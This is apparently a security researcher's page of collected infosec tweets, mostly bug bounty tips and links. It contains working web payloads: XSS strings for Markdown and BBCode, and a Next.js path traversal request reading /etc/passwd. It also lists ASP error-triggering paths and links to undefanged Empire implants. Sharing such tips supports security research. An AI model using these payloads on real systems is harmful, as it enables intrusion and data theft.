Walker

Mobile & Web application security researcher, reverse engineer, infosec professional.

[wallofsheep @wallofsheep]

If you’re having issues getting kali-undercover working after you upgrade to 2019.4, try this:

1) apt -y install kali-desktop-xfce
2) update-alternatives --config x-session-manager 
3) apt-get remove gnome-core gnome-session
4) reboot

#kali #informationsecurity #cyber

[nixCraft 🐧 @nixcraft]

How to drive someone completely nuts at Linux shell prompt (add to their ~/.bashrc):

alias ls='ls -l | lolcat -a'
ls

#Pranks

[Tomek Sułkowski @sulco]

Btw, since several people asked, here's the browser support. Surprisingly decent ;) https://t.co/2bBct7DmvS

[Tony Cook @captcook32]

Here's a zip file full of Empire Implants we recently found in the wild.
#Empire #DFIR #PS1Files #NotDeFanged
https://t.co/ZnaI2SldQS

[Bugra Eskici @bugraeskici]

How can we get XSS in Markdown or BBCode?

Markdown : [Hi](javascript:alert(1))
BBCode : [url=javascript:alert(1)]Hi[/url]

Markdown : ![a]("onerror="alert(1))
BBCode : [img]test.png" onerror="alert(1)[/img]
#bugbountytips #bugbounty #infosec #hacking

[JS0N Haddix @Jhaddix]

better image for the red parts:

[DirectoryRanger @DirectoryRanger]

Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition)
https://t.co/8qhEhYfXEL

[Amit Dubey @AmitMDubey]

To get an error page or stack trace in ASP based application you can try below directories -
1. /con/
2. /aux/
3. con.aspx
4. aux.aspx

#BugBounty #bugbountytip #bugbountytips

[Brute @BRuteLogic]

A comprehensive guide to #XSS PoC for #CyberSecurity professionals, students and enthusiasts.

Get yours now!

https://t.co/42CviwmXGl

[SYNTAXERROR @SYNTAXERRORBA]

From RCE to LDAP access by @thibeault_chenu https://t.co/ShwRYem3Ih

[Ben Sadeghipour @NahamSec]

RCE on Steam Client via buffer overflow in Server Info by @0xACB and vinnievan. Full report here: https://t.co/df7dJiGQb9 ($18,000 bounty)

[Sam Curry @samwcyo]

$57,000 for one bug! We are not worthy @0xACB! :)

[Yassine Aboukir 🐐 @Yassineaboukir]

« How to use Bug Bounty to Start a Career in Silicon Valley » at @nullcon was an insightful talk by @adamruddermann

[€𝔵𝔭𝔩𝔬𝔦𝔱𝔠0𝔡𝔢𝔯 @vanshitmalhotra]

React Framework - Arbitrary File Reading in Next.js < 2.4.1

NodeJS server transforms backslashes into forward slashes, so we can bypass nginx validation.

GET /_next\..\..\..\..\..\..\..\..\..\etc\passwd HTTP/1.1

https://t.co/swLBxnlZK6

[SYNTAXERROR @SYNTAXERRORBA]

Good Find!

https://t.co/tK08RCXknq

[Emad Shanab - أبو عبد الله @Alra3ees]

“Remote Code Execution - Explaination, Writeups and Tools.” https://t.co/7XLtjy2V5I

[Emad Shanab - أبو عبد الله @Alra3ees]

Collections of Cheat Sheets:-

Penetration Testing Tools
LFI
Reverse Shell
nbtscan
enum4linux
Nmap
Linux Commands
SQL Injection MSSQL-MySQL
Bug Bounty
SSRF

https://t.co/Kf07nYu2qX
https://t.co/S5rFG8mIms
https://t.co/NLf1Gux4TM
https://t.co/pIT6uhoac8
https://t.co/AZlVO4YV20